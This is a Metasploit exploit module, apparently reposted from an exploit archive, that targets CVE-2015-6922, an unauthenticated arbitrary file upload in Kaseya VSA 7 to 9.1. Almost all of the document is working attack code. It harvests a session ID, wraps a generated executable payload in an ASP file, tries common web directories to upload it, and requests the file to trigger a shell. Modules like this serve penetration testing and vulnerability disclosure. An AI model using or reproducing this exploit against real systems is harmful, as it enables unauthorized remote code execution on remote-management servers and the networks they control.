Kaseya VSA uploader.aspx Arbitrary File Upload

2015-10-05 18:05:21

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
directory leading to arbitrary code execution with IUSR privileges. This module has been
tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6922'],
['ZDI', '15-449'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => false,
'Targets' =>
[
[ 'Kaseya VSA v7 to v9.1', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 23 2015'))
end


def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('ConfigTab','uploader.aspx')
})

if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end


def upload_file(payload, path, filename, session_id)
print_status("#{peer} - Uploading payload to #{path}...")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
'vars_get' => {
'PathData' => path,
'qqfile' => filename
},
'data' => payload,
'ctype' => 'application/octet-stream',
'cookie' => 'sessionId=' + session_id
})

if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')
return true
else
return false
end
end


def exploit
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('ConfigTab','uploader.aspx')
})

if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
session_id = $1
else
fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
end

asp_name = "#{rand_text_alpha_lower(8)}.asp"
exe = generate_payload_exe
payload = Msf::Util::EXE.to_exe_asp(exe).to_s

paths = [
# We have to guess the path, so just try the most common directories
'C:\\Kaseya\\WebPages\\',
'C:\\Program Files\\Kaseya\\WebPages\\',
'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
'D:\\Kaseya\\WebPages\\',
'D:\\Program Files\\Kaseya\\WebPages\\',
'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
'E:\\Kaseya\\WebPages\\',
'E:\\Program Files\\Kaseya\\WebPages\\',
'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
]

paths.each do |path|
if upload_file(payload, path, asp_name, session_id)
register_files_for_cleanup(path + asp_name)
print_status("#{peer} - Executing payload #{asp_name}")

send_request_cgi({
'uri' => normalize_uri(asp_name),
'method' => 'GET'
})

# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
end

end
end

Fixes

No fixes

In order to submit a new fix you need to be registered.